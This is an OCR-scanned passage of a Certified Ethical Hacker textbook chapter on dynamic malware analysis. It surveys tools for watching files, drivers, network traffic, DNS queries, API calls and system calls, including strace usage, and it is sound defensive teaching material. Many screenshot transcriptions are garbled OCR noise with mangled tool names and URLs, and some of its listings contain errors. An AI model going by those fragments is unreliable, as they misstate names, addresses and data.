: ;:::-n J YOUR LOGO HERE !~::_,......
__...._,
8

File and Folder Integrity Checking Tools E9 tlll wa1<t1c:,.,._.,_.


I:"! SERVER2022 ... _.,..,.,, ....::..
., ...
· l lv-ColMUr ~

__
SEl!Vfwtn,_ _

8 Tripwi re File Integrity and Cha nge Manager


(https://www. tripwire.com) SpWmlnformstion

8 Netw rix Auditor (https:j/www.netwrix.com) :r=:.=::.., :==--=--=----_-


ffTAIJTM0Rl~OCAI.IIUMCi{...-t>AI

8 Ve risys (https:j/www.ionx.co.uk) I c~--.-"""'


CE ~.ogj ~
> f f ~~ U t>Ajr-'
NT...,,._,rn&'l'!IOl[1170 0.>J , - - - -
8 CSP File Integrity Checker ffTMITHQll~TIITOl,._OMI ~
N T ~TEM. . . •ol ,.__
(https://www.cspsecurity.com)
8 NNT Change Tracker
(https://www.newnettechnologies.com) https://www.powerodmin. com

Copyright C> by (C-CllllCII All Rights Re served Reproduction 1s Strictly Proh1b1ted

Files and Folders Monitoring


Malware can modify the system files and folders to save some information in them. You should
be able to find the files and folders that the malware creates and analyze them to collect any
relevant stored information. These files and folders may also contain hidden program code or
malicious strings that the malware would schedule for execution according to a specified
schedule.
Scan for suspicious files and folders using tools such as PA File Sight, Tripwire, and Netwrix
Auditor, to detect any Trojans installed as well as system file modifications.

Module 07 Page 1145 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

■ PA File Sight
Source: https://www.poweradmin.com
PA File Sight is a protection and auditing tool. It detects ransomware attacks coming
from the network and stops them.
Features:
o Compromised computers are blocked from reaching files on other protected servers
on the network
o Detects users copying files and optionally blocks access
o Real-time alerts allow appropriate staff to investigate immediately
o Monitors who is deleting, moving, or reading files

Q PA File Sight Ultra Console -vS.4,0.174 I Conn«t~toWINDOWS11 asAdmin) - Licensed to: PA File Sightv8Ultra Trial License (30 days left) 0 X
File Virw Configuration Settings Licensing Alerts He:lp
IOK -158 monitors run IS ~top Service S~ttinQS : - Easy .Qeploy _eutk Confio • Licenses
L===;~~~~~~
Servers < Bad< Open in Browser Print
r •••• • •••• • • • •••• • • •••••• • •••• • • •••• • • .....
B Servers/Devices
El- ,. SERVER2 0 22
: YOLJR LOGO HERE :
:
Tocnangeorremovelh~logo, goto
: Settings > Report Settinc;is

EB- Watch C:\Users\Adrr


" " SERVER2022
B Inventory Collector
WIii Group Pt:por1s
Updated06Ap, 2022 0456'1AM
All Reports ),.. ,!~~n

SERVER2022 remote satel ite

System Information

NT AUTHORITY\SYSTEM (logonU1.exe] , - - - - - - - - Tolall/O

NT AUTHORITY\SYSTEM (svchost.exe] - - - - - - - ■ Reads

NT AUTHORlTY\LOCAL SERVICE (svchostexe} -■-----­ ■ Wntes


CEH\Administrator (explorer.axe]
■ Deletes
I CHAAdministrator (notepad exe)
show more
CEH\Adm1nistrator (svchostexe]
NT AUTHORITY\SYSTEM (PAAPIProxy32 exeJ - - - - show less
NT AUTHORITYISYSTEM (127.0.0.1) - - - -
NT AUTHORITY\SYSTEM {lsass exe) ,...._ __
NT AUTHORITY\SYSTEM (dfsrs.exe)

10 100 1,000
All Actions
Advanced Services
Tlncha'tissl'loWlig!'Nl-time . . .aMty~b,l,monotcnddl'tws ~hactrv1tyisbW<gctrXllildby•in:ntorort'IOl
Endpoint Services
Updates e Hourly Alert Rate
Reports Show desktop

Figure 7.104: Screenshot of PA File Sight

Some additional file integrity checking tools are as follows:


■ Tripwire File Integrity and Change Manager (https://www.tripwire.com)
■ Netwrix Auditor (https://www.netwrix.com)
■ Verisys (https://www.ionx.co.uk)
■ CSP File Integrity Checker (https://www.cspsecurity.com)
■ NNT Change Tracker (https://www.newnettechnologies.com)

Module 07 Page 1146 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Dynamic Malware Analysis: Device Drivers Monitoring


DriverView
Malware is installed along with device drivers
downloaded from untrusted sources, and attackers use DriverView utility displays a list of all the device drivers currently
these drivers as a shie ld to avoid detection loaded on the system along with information such as load address of
the driver, description, version, and produ ct name
Use device driver monitoring tools such as DriverView to
scan for suspicious device drivers and ve rify if the device •--
E-l•~-~~
l tiii [ilrt,,~i) •
drivers are genuine and downloaded from the
publisher's original site 9 .t,i;l'I.¥
9 ..,,....or,
• ..._.M
. ....,.
FmflDn.. Ffffl«a'L - -
Fffff8'llrt-Ffff~-._-
F m ~ fffff90n... ~
fffff«IG'l,.llfffllXll,.- , , ~- ,_. ., ,__,. _t
~-

~-
A(0!-1.-NT
0,.,-lft.,__AO!l>_
,wc. .,,.i,_,_,.,.~ ~·
1.J.0,10,W
IO.tUIXll.1t<I

-~--
8 ....,_..,. rff•flCICIL r!ffran,. o.eomooc
Go t o Run ➔ Type msinfo32 ➔ Software Environment a- .......,. rrmDL
1,i ~- " ' - ~ - -.. , . . . _ ~

---- ---- --
ffffflCIO"L - .lf>,li<,o- ~C-
ti -.....,,.
➔ System Drivers to manually check for installed drivers
rfllffl:ITL fffffll»L lkOOll1-
9~ rm,...._m_..__

_,_
l,M',lo<~AHCIC~C.. l,.J,IS6U
Q-.-...,. FfffflON... m-.., 11o01Xi0«<10
~-- t.u.m
e~ mff«l1f,..m--..- . . . Solo!Su<oD,;.oo.,,;,e t,1.1"1C.I
• - FFffffllGL fFffff001,. - ,..._Wlt,l,,OWS.U- l.t.U2GOI PM(.-..-.
.__,_
1J.._ fffffeorLffffHCM,.- .lWIIDE""""°"O.-

Device Driver Monitoring Tools IJ - M ffffflOQ"'L fffFFICIO'L - AWl-t.,-

-- ...........,_D,,p&.,,_
· -.,. tfffflOG'"L tfffl11X11'.. _ ,_
9 ....,Dap1,J..,.mff10G"L ltfFFIIXrL a,oo,mooo *w --

_,_
1· --...m
- - _ , , . ,,,,._.,, ,,..
..._...__
FICIH.. ll,Wll1100C -
~-
8 Driver Booster (https://www. iobit.com) llffFIIXl't... 11 w -

== ~--
e --.,. rrmwa... r""'°°-.,_
~
O<lllllo000

•- -f)1 ....__,_
--
• ~ frffOD'IL ""''ICH,. -
8 Driver Reviver (https://www.reviversoft.com)
c-~- __
HTUO _ _ Ofto9'... - -

-
8 -..
Ffff!10n-Fnff.:,o.._(loOOll.l;w:;l
:w
11, ~ - ~1J1Tr-o.-
8 --..
mmon,. ffffflQOl,,,. ll<ll001GOOO
fffff«IITL fff f A C I A . . - ~Gog,W-"8D 1,1l.JI.IOS a,.,..,_
,_..,
8 Driver Ea sy (https://www.drivereosy.com) 8 <-
1J coh.,y,
ffff,UA,tr_ fffflJ,0,0 _ a.co0<1XIOO
fffffl0n.fffff80n..lld:C01«IOII
"mm
, _-
- _ co--.u, s,.,....o.-
_,_
- .....
9 ,-.,.. fffffD'L lfffFIWL - us~- SCSICD-l!OMO.- lok-C-
Vcu....., rrmlDITL rmflWL 11,mmm, • D!,<wn<Lri-t.... l - ~ 1 : . . , .11,- 1 - - , , IOJU2anl
8 Driver Fusion (https://treexy.com) v c.-i5C11--o.-
•~
· -""" mfFIOITL ,,m_L - iy,t.... - 1.11A.1a>
"~- c......,..,._ ~
: C..n.ffl - FFfffC"f,.. : 1¥-;"'"t.... ,..,s_ ""
8 Driver Genius 22 (https:j/www.driver-soft.com)
https://www.nfrsoft.net

Copyright C> by (C-CIIIICII All Rights Re served Reproduction 1s Strictly Proh1b1ted

Device Drivers Monitoring


Malware is installed on the system along with the device drivers when the user downloads
infected drivers from untrusted sources. The malware uses these drivers to avoid detection.
One can scan for suspicious device drivers using tools such as DriverView and Driver Detective,
to verify whether they are genuine and whether they have been downloaded from the
publisher's original site.
The path to the location of Windows system drivers is as follows:
Goto Run ➔ Type msinfo32 ➔ Software Environment ➔ System Drivers

, System Information D X
Filt Edit View Htlp

System Summary Name oescnpt.1on File lype Start... Start Mode State
$- Hardware Resources
Components
Hk'M,IWl§tHl=iHiW❖ !i:MW¾\MWUe+M~'M~iMi& I
3ware 3ware c:\windows\s... Kernel Driver Yes Manual Running
Software Environment
acpi Microsoft ACPI Driver c:\willdows\S... Kernel Driver Yes Boot Running
System Drivers acpide'I ACPI 0ev,ces driver C:\windows\s... Kernel Driver No Manual Stopped
Environment variables
acp1ex Microsoft ACPIEx Ori... C:\windows\s... Kernel Driver Yes Boot Running
Print Jobs
acpipagr ACPI Processor Aggr_ c:\windows\s... Kernel Driver No Manual Stopped
Network Connect.Jons
acpipmi ACPI Power Meter Or... c:\windows\s... Kernel Driver No Manual Stopped
Running Tasks
acpitime ACPI Wake Alarm Ori... c:\windows\s.•. Kernel Driver No Manual Stopped
Loaded Modules
Services acx01000 Acx01000 C:\Willdows\s... Kernel Driver No Manual Stopped
Program Groups adpao,, A0PSOXX C:\windows\s... Kernel Driver Yes Manual Running
Startup Programs afd Ancillary Function 0rL. c:\windows\s... Kernel Driver Yes System Running
OLE Registration afunix afunix c;\windows\ s... Kernel Driver Yes System Running
Windows Error Reporting ahcache Application CompatL c:\windows\s... Kernel Driver Yes System Running
amdgpioZ AMO GPI0 Client Ori... C:\Willdows\5... Kernel Driver No Manual Stopped
amdiZc AMO IZC controller N• C:\Windows\s... Kernel Driver No Manual Stopped
amdkB AMO KS Processor 0... C:\windows\s... Kernel Driver No Manual Stopped
amdppm AMO Processor Driver c:\windows\s... Kernel 0nver No Manual Stopped
amdsata amdsata c;\windows\s... Kernel 0riv-er Yes Manual Running
amdsbs amdsbs c:\windows\s... Kernel Driver Yes Manual Running
amdxata amdxata c:\willdows\s... Kernel Driver Yes Manual Running
appid Appl0 Driver C:\windows\s... Kernel Driver No Manual Stopped

Find what

Os.earch selected category only D search category names only

Figure 7.105: Screenshot displaying Windows System Drivers

Module 07 Page 1147 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

■ DriverView

Source: https://www.nirsoft.net
The DriverView utility displays the list of all device drivers currently loaded in the
system . For each driver in the list, additional information is displayed, such as load
address of the driver, description, version, product name, and maker.
Features:

o Displays the list of all loaded drivers in your system


o Standalone executable

~OriverVi~ 0 X
file fdit Yiew Qptions Help
11iiill@l~~l.iHJ
Driver Name J Address End Address Size Load Count Index File Type Description Version Company
3ware sys FFFFF800 6... FFFFF900 6. Ox0001 ~ l 66 System Orrver LSI 3ware SCSI Storport Orrver S 1.0 S1 LSI
ACPl.,y,
acpiex.sys
FFFFF800'6...
FFFFF800'6...
FFFFF800'6...
FFFFF800'6...
OdlOlkcOOO
Ox00026000
1
1
24 System Driver ACPI Driver for NT
ACPlEx Driver
10.0.22000.469
10.0.22000.1
Microsoft Corpor
Microsoft Corpor
I
20 Dynamic link Li...
ADP80XX.SYS FFFFF800'6... FFFFF800'6... Ox0025c000 1 93 System Driver PMC•Sierra Storport Driver For SPC8x ... 1.3.0.10769 PMC-SieITa
afd.sys FFFFF800'6... FFFFF800'6... Ox000a4000 1 151 System Driv~ Ancillary Function Driver forWinSock. 10.0.22000.194 Microsoft Corpor
afunix.sys FFFFF800'6... FFFFF800'6... Ox00013000 1 150 System Driver AF_UNIX socke.t provider 10.0.22000.348 Microsoft Corpor
ahcachesys FFFFF800'6... FFFFF800'6... Ox00053000 1 167 System Driver Application Compatibility Cache 10.0.22000.1 Microsoft Corpor
amdsata.sys FFFFF800'6... FFFFF800'6... Ox0001f000 67 Syst em Driver AHCI 1.3 Device Driver 1.1.3.277 Advanced Micro
FFFFF800'6... FFFFF800'6... Ox00067000 1 69 System Driver AMO T&hnology AHCI Compatible C... 3.7.1540.43 AMO Technologi,
FFFFF800'6... FFFFF800'6... OxOOOOcOOO 1 68 System Driver Storage Filter Driver 1.1.3.277 Advanced Micro
FFFFF800'6... FFFFF800"6... Ox00023000 1 65 Unknown Apple Solid State Drive D~ice 6.1.7800.1 Applelnc.
arcsas,sys FFFFF800'6... FFFFF800'6... Ox00025000 1 70 System Driver Adaptec SAS RAID WS03 Driver 7.5.0.32048 PMC-SieITa, Inc.
atapi.sys FFFFF800'6... FFFFF800'6... OxOOOOdOOO 1 89 System Driver ATAPI IDE Miniport Driver 10.0.22000.258 Microsoft Corpor
ataport.SVS FFFFF800'6... FFFFF800'6... Ox0003c000 1 90 System Driver ATAPI Driver Extension 10.0.22000.258 Microsoft Corpor
barn.sys FFFFF800'6... FFFFF800'6... Ox00018000 1 166 System Driver BAM Kernel Driver 10.0.22000.1 Microsoft Corpe,
BasicDisplay.sys FFFFF800'6... FFFFF800'6... Ox00015000 1 142 Display Driver Microsoft Basic Display Driver 10.0.U000.1 Microsoft Corpe,
BasicRender.sys FFFFF800'6... FFFFF800'6... Ox00011000 1 143 Display Driver Microsoft Basic Render Driver 10.0.22000.1 Microsoft Corpor
Beep.SYS FFFFF800' 6... FFFFF800'6... Ox0000.000 1 139 System Driver BEEP Driver 10.0.U000.1 Microsoft Corpe,
bindflt.sys FFFFF800'6... FFFFF800'6... Ox0002.000 1 208 Syst em Driver Windows Bind Filter Driver 10.0.22000.434 Microsoft Corpe,
B001VID.dll FFFFF800'6... FFFFF800'6... OxOOOObOOO 1 Display Driver VGA Boot Driver 10.0.U000.1 Microsoft Corpor
bowser.sys FFFFF800'6... FFFFF800'6... Ox00027000 1 200 System Driver NT Lan Manager Datagram Receiver ... 10.0.22000.348 Microsoft Corpor
bttflt.sys FFFFF800'6... FFFFF800'6... Ox00010000 1 116 System Driver VHD BTT Filter Driver 10.0.U000.1 Microsoft Corpor
bxvbda.sys FFFFF800'6..• FFFFF800'6... Ox00089000 1 59 Network Driver Qlogic Gigabit Ethernet VBO 7.1231.105 Qlogic Corporati
cdd.dll FFFFAJAD' ... FFFFA3Ao· ... Ox00043000 1 195 Display Driver Canonical Display Driver 10.0.U000.434 Microsoft Corpo,
cdfs.sys FFFFF800'6... FFFFF800'6... Ox0001f000 123 System DriYer CO-ROM File System Driver 10.0.22000.1 Microsoft Corpo,
cdrom.sys FFFFF800' 6... FFFFF800'6... Ox00030000 1 135 System Driver SCSI CO-ROM Driver 10.0.22000.1 Microsoft Corpe,
CEA.,y, FFFFF800'6... FFFFF800'6... Ox00017000 3 38 Dynamic link Li... Event Aggregation Kernel Mode library 10.0.22000.1 Microsoft Corpe,
cht45X64.sys FFFFF800'6... FFFFF800'6... Ox0005c000 87 System Driver Chelsio iSCSI VMiniport Driver 6.11.4.100 Chelsio Commur
Cl.dll FFFFF800'6... FFFFF800'6... Oxooo.4000 15 System Driver Code Integrity Module 10.0.U000.469 Microsoft Corpe,
CimFS.SVS FFFFF800'6... FFFFF800"6... Ox00025000 1 146 Dynamic link Li... CimFS driver 10.0.22000.469 Microsoft Corpor
,A ,-., 11,c;;c;;o,-io c;;vc;; C::C::C::C::C::RIYI' ,:;. c::c::c::c::c::RIYI"'- n..,wv,ron c;;...... ..... n,;.,. , c;;rc;;1 r1 .. u c;;,-...... nu

227 item(s), 1 Selected

Figure 7.106: Screenshot of DriverView

Some additional device driver monitoring tools are as follows:


■ Driver Booster (https://www.iobit.com)
■ Driver Reviver (https://www.reviversoft.com)
■ Driver Easy (https://www.drivereasy.com)
■ Driver Fusion (https://treexy.com)
■ Driver Genius 22 (https://www.driver-soft.com)

Module 07 Page 1148 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Dynamic Malware Analysis: Network Traffic Monitoring/Analysis ~ :~ ~

M alw are programs connect back to their handlers SolarWinds N etFlow Traffic Analyzer
and send confid ent ial informatio n t o attackers NetFl ow TrafficAnal yzer collects traffic data, correlates it into
Use netwo rk scanners and packet sniffers to mo nitor a useableformat, an d presents it to the user in a web-based
network traffic going to malicious remote addresses interface for monitoring network traffic
Use netwo rk scanning to ol s such as SolarWinds
NetFlow Traffic Analyzer and Capsa to monitor
net work traffic and lo ok for suspicious ma Iwa re
activi ties

Network Activity Monitoring Tools

e Caspa Netw orkAnalyzer (https://www.co/aso.ft.com)


e W ireshark {https://www.wireshark.org)
e PRTG Net workM onitor (https://kb.paess/er. com)
e GFI LanGu ard {https://www.gf i.com)
e NetFort LANGuardian (https://www.netfort.com)

Copyright () by (C-C1mcil All Rights Reserved Reproduction Is Stnctly Prohibited

Network Traffic Monitoring/Analysis


Network analysis is the process of capturing network traffic and investigating it carefully to
identify malware activity. It helps to determine the type of traffic/network packets or data
transmitted across the network.
Malware depends on the network for various activities such as propagation, downloading
malicious content, transmitting sensitive files and information, and offering remote control to
attackers. Therefore, you should adopt techniques that can detect malware artifacts and usage
across networks. Some malware connects back to the handlers and sends confidential
information to them.
In dynamic analysis, you run a piece of malware in a controlled environment that is installed
with various network monitoring tool s to trace all the networking activities of the malware.
Network monitoring tool s such as SolarWinds NetFlow Traffic Analyzer, Capsa Network
Analyzer, and Wireshark, can be used to monitor and capture live network traffic to and from
the victim's system during execution of the suspicious program. This will help to understand the
malware's network artifacts, signatures, function s, and other elements.
■ SolarWinds NetFlow Traffic Analyzer
Source: https://www.solarwinds.com
NetFlow Traffic Analyzer collects t raffic data, converts it into a useable format, and
presents it to the user in a web-based interface for monitoring network traffic.
Features:
o Network traffic analysis
o Bandwidth monitoring

Module 07 Page 1149 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

o Application traffic alerting


o Performance analysis
o CBQoS policy optimization
o Malicious or malformed traffic flow identification

.? N~AowNodeDetaafs EAST2821•WAN
U1( I HOl#"l ll"CfflS

-
"""'=, o..,.... rp
--
' - --
...... _,_ ....
..,,_mmn
""'"""'
■ ~ 0..,,.:11
_,.
""'
........
"''°"'"
""""
mu -....... .,., --
.......
.....
,,...
_,,,"""
• , .JWI
··- ,_
.......
...........
,.,u .....
....,,,,...
---
,a.s,.

..,_
~ f f l T O I <OHYDSotinoHS
• , g~,~ IS)U u,u
.,
....._,
■ ,
■ ' ID
G' 1210J10

..
t,11 Oliqlt1
to04~1ft
~, "
IUG.t,cn
... ·-
UZSJ•
,auu

•••au
,
.,_,,,,
-·-
• , ............... ru.w..
. ,, • ._.._IQ...__ ,ntWf¥ft
IIJU.1
..., .1,
, .. u
1.-u .....
T-,SO-m,

---
•AONUS---COH'IUtMTlONS

muo,-,

'
--
CMATf AFlOWM.Hl ...

Figure 7. 107: Screenshot of SolarWinds NetFlow Traffic Analyzer

Some additional network activity monitoring tools are as follows:


■ Caspa Network Analyzer (https://www.colasoft.com)
■ Wireshark(https://www.wireshark.org)
■ PRTG Network Monitor (https://kb.paessler.com)
■ GFI LanGuard (https://www.gfi.com)
■ NetFort LANGuardian (https://www.netfort.com)

Module 07 Page 1150 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Dynamic Malware Analysis: DNS Monitoring/Resolution


DNSChanger is a malicio us software ca pable DNSQuerySniffer
of changing the system's DNS server settings and
DNSQu erySnifferi s a net work sniffer utility that shows the DNS
provides the attackers w ith the control of the
queries sent on your system
DNS server used on th e victim' s system

... , .... v..... o,o-....,
Use DNS monitoring tools such as I ► O l-4 '0 ':I' ~ ~

-- '""-0-,,ID
DNSQuerySniffer to verify the DNS servers t hat O v10...----.um
-1 1Dtl'
l',oput,a

=
'i7..,...u..c-.., 61(1

the malwaretries to co nnect to and ident ify th e


t ype of connecti on
::::=:-
0 ...«131..._,__ MIii

o- ~ ~~
OUII

IA9C
l AA!
OIH,ylO:
Req,,ullypt:
· ---..LI- JR)I ~qlHSITIMt;

DNS Monitoring/Resolution Tools

e DNSstuff (https://www.dnsstuff. com )

e UltraDNS (h ttps://neustorsecurityservices.com )

e Son ar Lite Web App (https://constellix.com) c:::E:J


hrtp,//www.n;,,oft.net .I
Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

DNS Monitoring/Resolution
Malicious software such as DNSChanger can change the system' s DNS server settings, thus
providing attackers with control of the DNS server used in the victim's system. Subsequently,
the attackers can control the sites to which the user trie s to connect through the Internet, make
him/her connect to a fraudulent website, or interfere with his/her on line web browsing.
Therefore, you should determine whether the malware is capable of changing any DNS server
settings while performing dynamic analysis. You can use tools such as DNSQuerySniffer and
DNSstuff, to verify the DNS servers that the malware tries to connect to and identify the type of
connection.

Module 07 Page 1151 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

■ DNSQuerySniffer
Source: https://www.nirsoft.net
DNSQuerySniffer is a network sniffer utility that shows the DNS queries sent on your
system . For every DNS query, the following information is displayed: host name, port
number, query ID, request type (A, AAAA, NS, MX, and so on), request time, response
time, duration, response code, number of records, and content of the returned DNS
records. You can easily export the DNS query information to a CSV/tab-
delimited/XML/HTML file or copy the DNS queries to the clipboard and then paste them
into Excel or other spreadsheet applications.

Ill 0N<,Qu, >ntffe~ Ethern~ 1l2, Microsoft H,ptr 1' Networi:: Adapter - OI X
File Edit View Options Help

l ► O [ W l\'J~Jel ~
Hort Name Port Number Query ID Properti6 X rds Count A CNAME
I O vlO.events.dat. .. 65197 1097 20.189.173.10 global.asimov.events

I g
iJwpad.localdo... 49847
•·CXXl1 a-afd<n .. 64979
cxcs.microsoft... 50265
ctldl.windows... 65167
68EB
0150
6A9C
0880
Host Name:
Port Number:
Query ID:
ls ettings"Win.data.microsoft.com
[61009
lFDl
I
I 204.79.197.2...
184.30.242.57
208.111.136....
www-bing-com.dua!
cxcs.microsoft.n6:.ec
wu·bg-shim.trafficm
I O atm-settingsfe... 65254 1AA1
Reque st Type: A 52.167.17.97 settings-prod-eus2-2
I O settings-win.d... 61009 1F01 Reque st Time: [4/8/2022 5:00:10 At.4.739 I
Response Time:
Duration:
Response Code:
Records Count: 10
A:
CNAME:
AMA:
NS:
t.4X:
SOA:
PTA:
SRV:
TEXT:
Source Address: [10.10.1.22 I
D estination Addres s: IHll IIII
1 1
I
IP Country:

< >I
7 ittm(s), 1 Seltcted hlirSoft Freeware. http:J/www.nirsoft.net

-
Figure 7.108: Screenshot of DNSQuerySniffer

Some additional DNS monitoring/resolution tools are as follows:


■ DNSstuff (https://www.dnsstuffcom)
■ UltraDNS (https://neustarsecurityservices.com)
■ Sonar Lite Web App (https://constellix.com)

Module 07 Page 1152 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Dynamic Malware Analysis: API Calls Monitoring

Application programmi nginterfaces(APls) are parts


of the Windows OS that allow external applications API Monitor API Monitor allows you t o monitor and /
displayWin32 API calls ma de by applicatio ns
to access OS information such as file systems,

x-
threads, errors, registry, and kernel
Mal wa re programs employ these A Pis to access t he
A<t,onf,lrG,,d~
operating system information an d cause damage to ► ·• 11 -G 9 .. V Ill
the syst ems .Pto<..,..-.ITl,..,d , APl~<><

AF'IN- f._.P>olie 1,c...,..,,.


An alyzing th e API ca lls may reveal the suspected "'"'-
program's interaction w ith the OS
Use API call moni t oring toolssuch as API Monitor to
monitor API ca lls made by applications

API Call Monitoring Tools


8 APlmetrics (https://apimetrics.io)

8 Run scope (https://www.runscope.com)

8 AlertSite (https://smartbear.cam)
https://www.apimonitor.com
Copyright C> by (C-CllllCII All Rights Re served Reproduction 1s Strictly Proh1b1ted

API Calls Monitoring


Application programming interfaces (APls} are parts of the Windows OS that allow external
applications to access OS information such as file systems, threads, errors, registry, kernel,
buttons, mouse pointer, network services, web, and the Internet. Malware programs also use
these APls to access the OS information and cause damage to the system.
You need to gather the APls related to the malware programs and analyze them to reveal their
interaction with the OS as well as the activities they have been performing over the system. Use
API call monitoring tools such as API Monitor to monitor API calls made by applications.

Module 07 Page 1153 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

■ API Monitor
Source: h ttps ://www. apimonitor. com
API Monitor is a software that allows you to monitor and display Win32 API calls made
by applications. It can trace any exported API and it displays a wide range of
information, including function name, call sequence, input and output parameters,
function return value, etc. It is a useful developer tool for understanding how Win32
applications work and for learning their tricks.

~ APIMonrtor tT al e:rnon, ., Days Ldt) D X


Action File Grid Help
r ► .:J . 00 I~ Q ~ '5/_ !QI Views,._
· _,.:B
"-"u'.>'.!
yN:.,::
o"-
w _..,__--""'-_ _ _ _ _ _ _ _~ - -

Process and Thread


~ API Selector D

API Name Filter Profile: ~ave

I ~ Calegcxy: API Name: r Orly Selected Items


~CTIVEDS dll 0 ADsBuildEnume,alor
0 adsldpc.dll 0 ADsBuild\la,Anaylnl
0 ADVAPl32.dU 0 ADsBuild\la1AnayStr
0 bcrypl.dll 0 ADsDecodeBinaiyDala
0 combase.dll 0 ADsEncodeBina1yDala
0 CDMCTL32.dll 0 ADsEnume,ateNext
0 CDMDLG32.dll 0 AdsF,eeAdsValues
0 CRYPT32.dl 0 ADsFreeEnumerator
El- Summary I 0 GDl32.dll 0 ADsGetlastEno,
I ·· API N 0 gdiplus.dll 0 ADsGet0biect
· API De 0 ie1luli.dll 0 A0s0 pen0biect
... Time S 0 IMM32.dll 0 A0sSetl astEncx
Dura.ei 0 KERNEL32.dll 0 AdsTypeToP,opVa,ianl
Module 0 KERNELBASE.dll 0 AdsTypeToP1opVa1ianl2
I s Ene
O MPR.dll 0 AllocADsMem
j
0 MSIMG32.dl O AllocADsSll
f Proces n _ ...,...._ .. ~- ~.. 0 Bina,ySDT 0Secu1ityOesc1!)t0f
j ··· Threa
Options 0 ConvertSecOescriptorT oVariant
El·· Before
■ Don't display ii API was called by nside API 0 Conve,tSecurityOescriptorToSecOes
L Cnone)
0 0 ConverlT 1usteeToS id

-i
El·· After Ca.l.
j :._ ( none)
Show GetlastEnor (Have a serious impact on perfmmance)
n DIICarlJnloadNow
:c Default Parameter Num: Length:
E] Re,turn Find API: 0
9 · __ Cnone)

Select All API Clear Al API Add DLL... [-- QK j .(;ancel

Figure 7.109: Scree nshot of API M o nit or

Some additional API monitoring tools are as follows:


■ APlmetrics (https://apimetrics.io)
■ Runscope (https://www.runscope.com)
■ AlertSite (https://smartbear.com)

Module 07 Page 1154 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

Dynamic Malware Analysis: System Calls Monitoring

Syscalls or system calls act as an interface strace


between the application and kernel
strace intercepts and records the system calls by a
process and t he signals received by the process
It provides an interface for processes t hat are
act ivated by an operating system

Monitoring syst em calls can help det ect


malw are and understand its behavior

It can also reveal the t ype of damage the


malwa re ca used to the system

Tools such as strace can be used t o view or


t race the system calls in a Linux environment

Copyright C> by (C-CllllCII All Rights Re served Reproduction 1s Strictly Proh1b1ted

System Calls Monitoring


Syscalls or system calls act as an interface between an application and the kernel. It provides an
interface for processes that are activated by an OS. System calls are generated by an application
or program when it requires access to specific resources from the OS. They are usually
generated during context switching from the user to kernel mode or kernel to user mode. The
monitoring of system calls helps detect malware and in understanding the behavior of the
detected malware. The monitoring of system calls can also reveal the type of damage caused to
the system by the malware. Tools such as strace can be used to view or trace the system calls in
a Linux environment.
■ strace
Source: https://strace.io
The strace tool intercepts and records system calls by a process and the signals received
by the process. The name of each system call, its arguments, and its return value are
printed on a standard error or to a file specified with the -o option.
Run the following command for attaching the strace tool to the active process:
strace -p <ProcessID>
Execute the following command to view only system calls accessing a specific or given
path :
strace -P <given path> ls /var/empty
Run the following command to count tim e, calls, and errors for each system call:
strace -c ls> /dev/null

Module 07 Page 1155 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Execute the following command to extract system calls and save the output in a text file:
strace -o out . txt . /<sample file>

root@ubuntu-Vlrtual-Mach\ne:/ho~e/ubuntu/stracen ps
PID TTY TI ME CMD
7930 pts/0 00:00:00 sudo
2935 pts/o oo:ee:oe su
2936 pts/6 00:00:00 bash
3102 pts/e oo:ee : oe db us-launch
3230 pts/0 00:00:00 ps
r oot@ubuntu-vl rt ual-Mac hlne:/ ho~e/ubunt u/s tr ace~ strace -p 2930
s l race : Process 2936 attached
ppoll( [ {t d~- t ) , {td-6 , events-POLLIN )], 2 , NULL , NULL , sl

Figure 7.110: Screenshot of st race

root~ubuntu V\rtuo\ Machtne:/ho~e/ubuntu/stracea strace C ls > / dev /nu\\


lln.- ~t>cond~ u,.,cs/cd\\ Cd\ \s t>r r or~ ,yscdll
"'
o . oo 0 . 000000 0 read
0.00 0.000000 0 .., r i. t f"
(l.00 o.eooooe 0 11 close
o.oo 0.000000 0 10 fsldt
0.00 0 . 000000 0 l I ,.-i,ap
0.00 0.000006 0 8 ~protect
(l.00 0.000000 0 r-'UOrldp
0.00 o . 600006 0 brk
(l.00 0.000000 0 2 rt __ ~i.gc1cti.on
e.oo o.eooooe 0 rt_slgproc"'osk
6.00 0.600000 0 loctl
e.oo 0.600000 0 R pr..-adb4
(l.00 o.600066 0 2 2 access
6.00 0.000000 0 t"'Xf"C Vf"
e.oo 0.600000 0 st.J tt s
0.00 0.000000 0 df c.h pr ell
e.oo 0.000000 0 g<'tdentsb4
0.00 0.000000 o set tld address
